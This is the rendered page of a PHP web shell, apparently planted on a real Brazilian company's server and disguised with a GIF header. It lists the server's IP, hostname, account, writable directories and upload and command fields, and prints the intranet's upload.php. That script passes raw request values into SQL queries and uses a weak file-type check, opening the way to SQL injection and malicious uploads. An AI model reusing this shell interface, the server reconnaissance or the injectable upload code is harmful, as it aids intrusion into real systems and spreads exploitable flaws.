GIF89a403WebShell
403Webshell
Server IP : 200.152.183.196  /  Your IP : 216.73.216.150
Web Server : nginx/1.20.2
System : Linux server.teclabs.com.br 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : re8rc56e54 ( 10140)
PHP Version : 7.3.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/cial.ind.br/httpdocs/c2r/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/cial.ind.br/httpdocs/c2r/includes/upload.php
<?
require('../../includes/global.php');

function criarJPG($file_m, $new_wdth, $new_hight, $WIDTH, $HEIGHT){$img_origem  = imagecreatefromjpeg($file_m);$img_destino = imagecreatetruecolor($new_wdth, $new_hight);imagecopyresampled($img_destino, $img_origem , 0, 0, 0, 0, $new_wdth, $new_hight, $WIDTH, $HEIGHT);imagejpeg($img_destino, $file_m, 100);imagedestroy($img_destino);}
function criarPNG($file_m, $new_wdth, $new_hight, $WIDTH, $HEIGHT){$img_origem  = imagecreatefrompng($file_m);$img_destino = imagecreatetruecolor($new_wdth, $new_hight);$background  = imagecolortransparent($img_origem);imagecolortransparent($img_destino, $background);imagealphablending($img_destino, false);imagesavealpha($img_destino, true);imagecopyresampled($img_destino, $img_origem, 0, 0, 0, 0, $new_wdth, $new_hight, $WIDTH, $HEIGHT);imagepng($img_destino, $file_m);imagedestroy($img_destino);}

$ID     = request('ID');
$acao   = request('acao');
$v_del  = request('v_del');
$v_le1  = request('v_le1');
$v_le2  = request('v_le2');
$tabela = request('tabela');
$limit  = request('limit');
$ftype  = request('ftype')?request('ftype'):'jpg,jpeg,png';
$w      = request('w')??900;
$h      = request('h')??900;
$titulo = request('titulo')?request('titulo'):'Upload de imagens';
$error  = '';

if($acao == 'upload'){
  $v_files = $_FILES['v_files'];
  $t = count($v_files['name']);
  for($x=0; $x<$t; $x++){
    if($v_files['name'][$x]){
      $ext = strtolower(substr($v_files['name'][$x], strlen($v_files['name'][$x])-3, 3));
      if(strtolower($ext) == 'peg')
        $ext = 'jpg';
      if(!preg_match('/'.$ext.'/', strtolower($ftype)))
        $error .= $ext.' - ';
      else{
        $c = 0;
        $v_nms[$c] = '';
        $query = query("SELECT NOME FROM $tabela WHERE $pkey='$ID' ORDER BY ID ASC");
        $t2 = $query->rowCount();
        foreach($query as $campo){
          $campo = (object) $campo;
          $v_nms[$c] = substr($campo->NOME, 0, (strlen($campo->NOME) - 4));
          $c++;
        }
        $n_id = 1;
        do{
          $new_img = str_replace('arquivos_', '', $tabela).'_'.$ID.'_'.$n_id;
          $n_id++;
        }while(in_array($new_img, $v_nms));

        $file_n = $new_img.'.'.$ext;
        $file_m = '../../files/'.$file_n;
        $file_p = $t2==0?1:0;
        $sizes  = getimagesize($v_files['tmp_name'][$x]);
        $file_w = $sizes[0];
        $file_h = $sizes[1];
        $file_t = $sizes['mime'];

        move_uploaded_file($v_files['tmp_name'][$x], $file_m);

        if($w && $h){
          $w_ori = $file_w;
          $h_ori = $file_h;
          $new_w = $w_ori;
          $new_h = $h_ori;
          if($file_w > $file_h && $file_w > $w){
            $new_w = $w;
            $new_h = (int)(($file_h / $file_w) * $w);
            $file_w = $new_w;
            $file_h = $new_h;
          }
          if($file_h > $h){
            $new_h = $h;
            $new_w = (int)(($file_w / $file_h) * $h);
            $file_w = $new_w;
            $file_h = $new_h;
          }
          if(strtolower($ext) == "jpg" || strtolower($ext) == "jpeg")
            criarJPG($file_m, $new_w, $new_h, $w_ori, $h_ori);
          elseif(strtolower($ext) == "png")
            criarPNG($file_m, $new_w, $new_h, $w_ori, $h_ori);
        }

        query("INSERT INTO $tabela($pkey, NOME, TIPO, WIDTH, HEIGHT, PRINCIPAL, SIZE, INCLUIDO_EM) VALUES('$ID', '".$file_n."', '".$file_t."', '".$file_w."', '".$file_h."', '".$file_p."', '".filesize($file_m)."', now())");
      }
    }
  }
}
elseif($acao == 'delfile'){
  if(is_array($v_del)){
    $t = count($v_del);
    for($x=0; $x<$t; $x++){
      if($v_del[$x] > 0){
        $query = query("SELECT NOME FROM $tabela WHERE ID='$v_del[$x]'");
        foreach($query as $campo){
          $campo = (object) $campo;
          unlink("../../files/".$campo->NOME);
        }
        query("DELETE FROM $tabela WHERE ID='$v_del[$x]'");
      }
    }
  }
}
elseif($acao == 'legendas'){
  if(is_array($v_le1)){
    $t = count($v_le1);
    for($x=0; $x<$t; $x++)
      query("UPDATE $tabela SET LEGENDA='$v_le1[$x]' WHERE ID='$v_le2[$x]'");
  }
}
?>
<!DOCTYPE html >
<html lang="pt-br">
  <head>
    <base id="base-url" href="//<?=$base?>">
    <title>TECLABS - Intranet Administrativa</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="title" content="TECLABS - Intranet Administrativa">
    <meta name="keywords" content="TECLABS - Intranet Administrativa">
    <meta name="description" content="TECLABS - Intranet Administrativa">

    <link rel="icon" href="../imgs/favicon.ico" type="image/x-icon">

    <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
    <link rel="stylesheet" type="text/css" href="css/style.css?<?=date('YmdHis')?>">

    <script src="https://kit.fontawesome.com/e9608b10d9.js" crossorigin="anonymous"></script>
    <script src="js/bootstrap.min.js"></script>
    <script src="js/jquery.min.js"></script>
    <script src="js/jquery-ui.min.js"></script>
    <script>
    $(document).ready(function(){
      $("#image-list").sortable({
        update: function(event, ui){
          var ids = document.getElementById('ids_imgs').value;
          var id1 = ui.item[0].id;
          var id2 = ui.item[0].nextElementSibling.id;
          ids = ids.replace(',' + id1 + ',', ',');
          ids = ids.replace(',' + id2 + ',', ',' + id1 + ',' + id2 + ',');
          document.getElementById('ids_imgs').value = ids;
          $.ajax({
            url: 'ajax.php', 
            type: 'post', 
            data: {
              acao: 'ordem', 
              tabela: '<?=$tabela?>', 
              ids_imgs: document.getElementById('ids_imgs').value
            }, 
            success: function(response){}
          });
        }
      });
    });
    </script>

  </head>
  <body id="tamanho" onload="adjustFrm('ifr_upload_<?=$tabela?>');parent.hide_o('loading');">

    <form name="frm" action="" method="post" enctype="multipart/form-data">
      <fieldset>
        <input type="hidden" name='acao' value="">
        <input type="hidden" name="ID" value="<?=$ID?>">
        <input type="hidden" name='tabela' value="<?=$tabela?>">
        <input type="hidden" name="limit" value="<?=$limit?>">
        <input type="hidden" name="ftype" value="<?=$ftype?>">
        <input type="hidden" name="w" value="<?=$w?>">
        <input type="hidden" name="h" value="<?=$h?>">
        <?
        $query = query("SELECT ID, NOME, PRINCIPAL, LEGENDA FROM $tabela WHERE $pkey='$ID' ORDER BY ORDEM");
        $t = $query->rowCount();
        echo '<br><h4>'.$titulo.'</h4>
              <table width="100%" border="0" cellpadding="5" cellspacing="0">
              <tr><td height="35">'.($error?' <spam class="up_warn">Tipos recusados: '.substr($error, 0, (strlen($error) - 3)).'</spam> - ':'').'Tipos aceitos: '.preg_replace('/\,/', ' . ', $ftype).($w && $h?' - Medidas até: '.$w.'px por '.$h.'px':'').'</td></tr>
              <tr>
              <td>
              '.($t < $limit || $limit == 0 || $t == 0?'
              <input type="file" id="v_files[]" name="v_files[]" onchange="parent.show_o(\'loading\');postForm(\'upload\');" class="up_file" multiple />
              <a onclick="gbid(\'v_files[]\').click();" class="toolbar-button vibrant-hover" title="Escolher arquivos"><i class="fa-solid fa-folder-open"></i> Escolher arquivos</a>
              ':'').'
              '.($t>0?'<a onclick="postForm(\'delfile\');" class="toolbar-button vibrant-hover" title="Deletar selecionados"><i class="fa-solid fa-circle-xmark"></i> Deletar selecionados</a>':'').'
              '.($t>0?'<a onclick="postForm(\'legendas\');" class="toolbar-button vibrant-hover" title="Salvar legendas"><i class="fa-solid fa-floppy-disk"></i> Salvar legendas</a>':'').'
              </td>
              </tr>
              </table>
              <ul id="image-list">';
        $ids_imgs = '0';
        foreach($query as $campo){
          $campo = (object) $campo;
          $id = $campo->ID;
          $ids_imgs .= ','.$id;
          $im = '../../files/'.$campo->NOME.'?'.date('YmdHis');
          $im2 = '';
          if(strpos($campo->NOME, '.pdf') > 0 || strpos($campo->NOME, '.doc') > 0 || strpos($campo->NOME, '.mp4') > 0)
            $im2 = '../imgs/file_down.jpg';
          echo '<li id="'.$id.'">
                <div class="box_imgs">
                <div class="box_imgs_1" style="background:url('.($im2?$im2:$im).') center center;background-size:cover;" onclick="window.open(\''.$im.'\');"></div>
                <div class="box_imgs_2"><label><input type="checkbox" name="v_del[]" value="'.$id.'"> Marcar</label> '.($t>1?'<label><input type="radio" name="principal[]" value="'.$id.'" '.setStr(1, $campo->PRINCIPAL, 'checked="checked"').' onclick="ajaxPrincUp(this.value, '.$ID.', \''.$tabela.'\');"> Principal</label>':'').'
                <input type="text" id="v_le1[]" name="v_le1[]" class="default-text" style="margin-top:5px;width:142px;height:24px;background:#FFF;border-top:1px solid #ccc;border-radius:0px;" placeholder="Legenda..." maxlength="200" value="'.$campo->LEGENDA.'">
                <input type="text" id="v_le2[]" name="v_le2[]" value="'.$id.'">
                </div>
                </div>
                </li>';
        }
        echo '<li id="00" style="margin-left:100px;"></li>
              </ul>
              <input type="hidden" id="ids_imgs" name="ids_imgs" value="'.$ids_imgs.',00,0">';
        ?>
      </fieldset>
    </form>

    <script src="js/scripts.js?<?=date('YmdHis')?>"></script>

  </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit